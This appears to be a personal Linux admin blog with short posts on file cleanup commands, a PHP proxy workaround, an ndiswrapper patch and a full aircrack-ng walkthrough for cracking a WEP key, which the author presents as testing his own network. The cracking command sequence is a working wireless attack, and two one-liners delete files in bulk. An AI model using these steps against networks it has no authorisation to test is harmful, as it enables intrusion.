find /path/to/files/* -mtime +5 -exec rm {} \;
where +5=older than 5 days
my random blog about whatever i choose
find /path/to/files/* -mtime +5 -exec rm {} \;
where +5=older than 5 days
had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below
scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap
just let those things run until it gives you the key
moral of the story: never use WEP
step one: ln -s /dev/null /thetoilet
step two: klogd > /thetoilet 2>&1
this is how you can clog the toilet with 2s and 1s
this is designed to delete files by date from the current directory….it was googles fault for providing “source” in a .deb with relative paths without being clear. plus it was my fault for not doing a test extract prior to doing a real one….pretty irrelevant but was needed to tidy up my /usr/local/src
by design will remove files dated 2008-11-07 from slackware’s ls -al …probably would be wise to trial run it by changing the xargs to an echo first ;-)
#ls -altrh |grep ‘2008-11-07’ |awk {‘print $8’} |xargs rm -rfv
When a routing issue in our datacenter arose today, as a temporary solution i whipped out a proxy install that was so basic i couldn’t mess it up (and i definitely was doing “unsupported” tweaks to the files). To embelish on the routing issue a little more: a local isp moved some equippment into the datacenter, now on the same level in the same pool as our servers, their clients could not reach our servers when entering the routes from very specific directions. a temp solution is now in place and they aren’t sure when the permanent solution will work…don’t blame me….nothing changed on my end.
http://www.drunkensailor.org/proxy/
www.phpmyproxy.com – i did have to register for the initial link, but since it’s open source here’s a link to my version’s tarball…(so much lighter!!!)
made the all too fatal yet all to common mistake of updating to slackware current fully and lost the ability to compile some of my favorite (virtualbox) and most used (ndiswrapper) software due too stricter code residing in the kernel. so all that aside, i HAVE to use ndiswrapper with mylow power lp-phy usb-like mini pci card…it sucks in short.
so with ndiswrapper not compiling i was giving up hope until i found this post –> read through to the last post by slh.. in it he shows a patch fix (which is pretty striaght forward to apply manually) and i have included below:
fix C syntax error and field name in conditional netdev ops struct,
triggering on kernel >= 2.6.29 and CONFIG_NET_POLL_CONTROLLER=y.
— a/driver/wrapndis.c
+++ b/driver/wrapndis.c
@@ -1744,7 +1744,7 @@ static const struct net_device_ops ndis_
.ndo_set_mac_address = ndis_set_mac_address,
.ndo_get_stats = ndis_get_stats,
#ifdef CONFIG_NET_POLL_CONTROLLER
– .poll_controller = ndis_poll_controller;
+ .ndo_poll_controller = ndis_poll_controller,
#endif
};
#endif